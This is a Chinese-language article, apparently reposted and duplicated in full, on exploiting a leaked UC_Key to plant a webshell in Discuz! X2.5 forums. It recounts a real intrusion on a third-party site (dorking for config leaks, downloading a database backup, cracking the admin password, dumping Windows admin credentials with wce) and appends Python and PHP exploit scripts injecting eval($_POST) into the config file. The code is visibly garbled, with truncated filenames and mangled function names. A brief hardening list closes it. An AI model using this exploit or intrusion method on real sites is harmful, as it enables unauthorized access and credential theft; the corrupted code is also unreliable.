最新消息: USBMI致力于为网友们分享Windows、安卓、IOS等主流手机系统相关的资讯以及评测、同时提供相关教程、应用、软件下载等服务。

实战UC_Key获取Discuz!x2.5论坛Webshell

IT圈 admin 42浏览 0评论

2024年9月28日发(作者:乙楚)

实战UC_Key获取Discuz!x2.5论坛Webshell

simeon

路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章

(/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获

取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验

值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能

获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter

Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务

器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。

1.测试网上公布的0day代码

通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell

的文章,通过查看文章顺利获取0day代码。

1.1测试误区

下载到uc_和uc_代码后,首先通过程序uc_进行编译执行,结果出

现错误提示:“IndexError: list index out of range”。通过搜索错误提示,也没有找到解决错误

的方法。后面直接执行“python uc_ 127.0.0.1”命令则可以顺利执行。

图1测试uc_出错

1.2 uc_测试

1.获取uc_key值

获取uc_key可以通过“configconfig_”文件获取,也可以通过登录后台获取,

如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。

图2获取uc_key值

2.获取webshell

对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3

所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开启也会出

现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell

成功。

图3获取Webshell失败

图4获取webshell成功

对于X25系列,则可以轻松获取Webshell,执行命令“php uc_”命令后,会直接

修改“configconfig_”,如图5所示。密码为1

图5修改配置文件获取webshell

通过uc_获取webshell,每次都需要修改uc_中的host和uc_key值,使

用起来不太方便,而通过uc_则方便很多,如图6所示,通过执行python uc_ host

uc_key值,可以直接获取webshell。

图6通过uc_获取webshell

1.2实战网上获取Webshell

1.搜索敏感配置文件

在google中输入“config/config_”、“config/config_”,如图

7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。

图7google搜索敏感信息

2.查看搜索结果

在搜索结果中获取“/edusite/config”,该结果明显存在文件路径泄漏漏洞,

如图8所示,单击文件链接,尝试能否获取文件的具体内容,经过测试,发现无法获取文件

内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。

图8获取敏感文件泄漏漏洞

3.获取数据库备份文件

对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备

份,单击可以直接下载。

图9下载数据库

4.破解管理员密码

下载后120903_文件后,将该数据库备份文件导入本地mysql数据库,进行

查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图

11所示,密码为“admin”,简直无语。

图10获取用户密码等信息

图11获取管理员密码

5.获取uc_key值

如图12所示,通过后台管理系统,获取uc_key通信密钥值。

图12获取uc_key值

6.获取webshell

将该值通过“php uc_”或者“python uc_ uc_key”进行漏洞利用,

成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者

留了一个大马。

图13成功获取webshell

7.获取服务器系统管理员帐号

通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,

上次,通过“wce –w”直接获取系统管理员密码。

图14获取系统管理员账号

8. 防范与总结

Discuz!论坛在安装成功后可以通过以下一些设置加强论坛的安全:

(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入

权限。

(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell

进行测试。

(3)备份数据库后,要及时下载并删除数据库备份文件。

(4)设置强健的管理员密码,安全验证问题和答案。

(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。

9.附件程序源代码

_

#! /usr/bin/env python

#coding=utf-8

import hashlib

import time

import math

import base64

import urllib

import urllib2

import sys

def microtime(get_as_float = False) :

if get_as_float:

return ()

else:

return '%.8f %d' % (())

def get_authcode(string, key = ''):

ckey_length = 4

key = 5(key).hexdigest()

keya = 5(key[0:16]).hexdigest()

keyb = 5(key[16:32]).hexdigest()

keyc = (5(microtime()).hexdigest())[-ckey_length:]

#keyc = (5('0.736000 1389448306').hexdigest())[-ckey_length:]

cryptkey = keya + 5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '' + (5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

'''

发送命令获取webshell

'''

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = ()+10*3600

tm="time=%d&action=updateapps" %tm

code = (get_authcode(tm,key))

url=url+"?code="+code

data1='''

xxx');eval($_POST[1]);//

'''

try:

req=t(url,data=data1,headers=headers)

ret=n(req)

except:

return "访问出错"

data2='''

aaa

'''

try:

req=t(url,data=data2,headers=headers)

ret=n(req)

except:

return "error"

return "webshell:"+host+"/config/config_,password:1"

if __name__ == '__main__':

host=[1]

key=[2]

url=host+"/api/"

print get_shell(url,key,host)

_

// 代码版权归原作者所有!

$timestamp = time()+10*3600;

$host="127.0.0.1";

$uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46";

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

$cmd1='

xxx');eval($_POST[b]);//

';

$cmd2='

aaa

';

$html1 = send($cmd1);

echo $html1;

$html2 = send($cmd2);

echo $html2;

function send($cmd){

global $host,$code;

$message = "POST /api/?code=".$code." HTTP/1.1rn";

$message .= "Accept: */*rn";

$message .= "Referer: ".$host."rn";

$message .= "Accept-Language: zh-cnrn";

$message .= "Content-Type: application/x-www-form-urlencodedrn";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";

$message .= "Host: ".$host."rn";

$message .= "Content-Length: ".strlen($cmd)."rn";

$message .= "Connection: Closernrn";

$message .= $cmd;

//var_dump($message);

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):

substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :

sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10,

16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $_replace('=', '', base64_encode($result));

}

}

?>

2024年9月28日发(作者:乙楚)

实战UC_Key获取Discuz!x2.5论坛Webshell

simeon

路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章

(/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获

取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验

值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能

获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter

Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务

器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。

1.测试网上公布的0day代码

通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell

的文章,通过查看文章顺利获取0day代码。

1.1测试误区

下载到uc_和uc_代码后,首先通过程序uc_进行编译执行,结果出

现错误提示:“IndexError: list index out of range”。通过搜索错误提示,也没有找到解决错误

的方法。后面直接执行“python uc_ 127.0.0.1”命令则可以顺利执行。

图1测试uc_出错

1.2 uc_测试

1.获取uc_key值

获取uc_key可以通过“configconfig_”文件获取,也可以通过登录后台获取,

如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。

图2获取uc_key值

2.获取webshell

对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3

所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开启也会出

现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell

成功。

图3获取Webshell失败

图4获取webshell成功

对于X25系列,则可以轻松获取Webshell,执行命令“php uc_”命令后,会直接

修改“configconfig_”,如图5所示。密码为1

图5修改配置文件获取webshell

通过uc_获取webshell,每次都需要修改uc_中的host和uc_key值,使

用起来不太方便,而通过uc_则方便很多,如图6所示,通过执行python uc_ host

uc_key值,可以直接获取webshell。

图6通过uc_获取webshell

1.2实战网上获取Webshell

1.搜索敏感配置文件

在google中输入“config/config_”、“config/config_”,如图

7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。

图7google搜索敏感信息

2.查看搜索结果

在搜索结果中获取“/edusite/config”,该结果明显存在文件路径泄漏漏洞,

如图8所示,单击文件链接,尝试能否获取文件的具体内容,经过测试,发现无法获取文件

内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。

图8获取敏感文件泄漏漏洞

3.获取数据库备份文件

对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备

份,单击可以直接下载。

图9下载数据库

4.破解管理员密码

下载后120903_文件后,将该数据库备份文件导入本地mysql数据库,进行

查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图

11所示,密码为“admin”,简直无语。

图10获取用户密码等信息

图11获取管理员密码

5.获取uc_key值

如图12所示,通过后台管理系统,获取uc_key通信密钥值。

图12获取uc_key值

6.获取webshell

将该值通过“php uc_”或者“python uc_ uc_key”进行漏洞利用,

成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者

留了一个大马。

图13成功获取webshell

7.获取服务器系统管理员帐号

通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,

上次,通过“wce –w”直接获取系统管理员密码。

图14获取系统管理员账号

8. 防范与总结

Discuz!论坛在安装成功后可以通过以下一些设置加强论坛的安全:

(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入

权限。

(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell

进行测试。

(3)备份数据库后,要及时下载并删除数据库备份文件。

(4)设置强健的管理员密码,安全验证问题和答案。

(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。

9.附件程序源代码

_

#! /usr/bin/env python

#coding=utf-8

import hashlib

import time

import math

import base64

import urllib

import urllib2

import sys

def microtime(get_as_float = False) :

if get_as_float:

return ()

else:

return '%.8f %d' % (())

def get_authcode(string, key = ''):

ckey_length = 4

key = 5(key).hexdigest()

keya = 5(key[0:16]).hexdigest()

keyb = 5(key[16:32]).hexdigest()

keyc = (5(microtime()).hexdigest())[-ckey_length:]

#keyc = (5('0.736000 1389448306').hexdigest())[-ckey_length:]

cryptkey = keya + 5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '' + (5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

'''

发送命令获取webshell

'''

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = ()+10*3600

tm="time=%d&action=updateapps" %tm

code = (get_authcode(tm,key))

url=url+"?code="+code

data1='''

xxx');eval($_POST[1]);//

'''

try:

req=t(url,data=data1,headers=headers)

ret=n(req)

except:

return "访问出错"

data2='''

aaa

'''

try:

req=t(url,data=data2,headers=headers)

ret=n(req)

except:

return "error"

return "webshell:"+host+"/config/config_,password:1"

if __name__ == '__main__':

host=[1]

key=[2]

url=host+"/api/"

print get_shell(url,key,host)

_

// 代码版权归原作者所有!

$timestamp = time()+10*3600;

$host="127.0.0.1";

$uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46";

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

$cmd1='

xxx');eval($_POST[b]);//

';

$cmd2='

aaa

';

$html1 = send($cmd1);

echo $html1;

$html2 = send($cmd2);

echo $html2;

function send($cmd){

global $host,$code;

$message = "POST /api/?code=".$code." HTTP/1.1rn";

$message .= "Accept: */*rn";

$message .= "Referer: ".$host."rn";

$message .= "Accept-Language: zh-cnrn";

$message .= "Content-Type: application/x-www-form-urlencodedrn";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";

$message .= "Host: ".$host."rn";

$message .= "Content-Length: ".strlen($cmd)."rn";

$message .= "Connection: Closernrn";

$message .= $cmd;

//var_dump($message);

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):

substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :

sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10,

16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $_replace('=', '', base64_encode($result));

}

}

?>

发布评论

评论列表 (0)

  1. 暂无评论